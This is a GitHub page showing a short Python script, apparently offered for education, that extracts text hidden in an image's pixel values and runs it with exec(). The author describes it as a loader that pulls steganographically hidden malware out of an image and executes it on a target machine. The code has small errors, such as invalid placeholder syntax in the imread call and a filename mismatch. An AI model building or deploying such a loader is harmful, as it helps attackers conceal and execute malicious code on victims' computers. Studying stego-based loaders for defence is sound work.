-
Notifications
You must be signed in to change notification settings - Fork 4
Expand file tree
/
Copy pathPython_To_Pull_Malware_From_Image.py
More file actions
24 lines (17 loc) · 1.55 KB
/
Python_To_Pull_Malware_From_Image.py
File metadata and controls
24 lines (17 loc) · 1.55 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# Created July 19, 2023 - By: Devon Griffith A.K.A. rootPHAGE / 我爱数据
# Run on Windows [ python3 <path to file>\Hidden_Malware_From_Inside_Image.py ]
# Malware hidden inside an image is retrieved and executed on the target machine
# The malware is hidden using steganography in images and this script extracts the binary malware and executes it
# ALWAYS scan images or anything else before downloading it in case there is malware hidden inside it
# If this script was already on your device or got onto your device when you had the infected image, then the malware can be activated
import cv2 # Imports the library needed to load the image with malware on your device
def read_image_with_hidden_code(image_path): # Function to extract the malware from the image
image = cv2.imread(<image_path>) # Load the image using the OpenCV library
hidden_code = "" # Empty string that will hold the malware extracted (assuming they are ASCII characters
for row in image:
for pixel in row:
hidden_code += chr(pixel[0]) # Iterates over each pixel in the image and extract the pixel values then places them in the string
exec(hidden_code) # The exec() command runs the malware code that was extracted from the image
image_path = "path/to/your/image.jpg" # Here is the path to the image containing the hidden malware
read_image_with_hidden_code(image_path) # Call the function we wrote to read the image and execute the hidden malware
# DO NOT USE THIS SCRIPT MALICIOUSLY - PROVIDED FOR EDUCATIONAL PURPOSES ONLY